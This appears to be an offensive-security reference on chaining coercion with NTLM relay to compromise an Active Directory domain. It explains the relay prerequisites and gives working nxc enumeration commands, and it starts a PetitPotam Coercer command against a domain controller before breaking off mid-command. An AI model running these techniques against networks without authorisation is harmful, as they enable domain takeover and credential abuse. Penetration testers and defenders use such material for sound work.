coercion-ntlm-relay

# Coercion + NTLM Relay Two techniques that combine into one of the most reliable domain-compromise chains: **force** a target (usually a Domain Controller's machine account) to authenticate to a host you control, then **relay** that authentication to a service that lacks the protection to reject it. No credential cracking involved; you are borrowing a live authentication. The chain only works when a relay target is unprotected: - **Relay to LDAP/LDAPS** requires **LDAP signing not enforced** and **channel binding (EPA) absent**. - **Relay to SMB** requires **SMB signing not enforced** on the destination. - **Relay to AD CS web enrollment (ESC8)** requires the HTTP enrollment endpoint up **without EPA**. Check signing posture first: ``` nxc smb 10.0.0.0/24 --gen-relay-list relay_targets.txt # hosts without SMB signing nxc ldap 10.0.0.10 -u user -p 'Password123' -M ldap-checker # LDAP signing / channel binding state ``` --- ## Part 1: Coercion You need a way to make a privileged account authenticate outbound to your IP. Three RPC-based coercion methods, each abusing a different protocol. All fire the target's **machine account** ($) authentication at you. ### PetitPotam: MS-EFSR (Encrypting File System Remote) **MITRE ATT&CK:** T1187 (Forced Authentication) Abuses the EFSRPC interface (`EfsRpcOpenFileRaw` and related). Often works unauthenticated against unpatched DCs; authenticated on patched ones. ``` Coercer coerce -u user -p 'Password123' -d CORP.LOCAL \ ...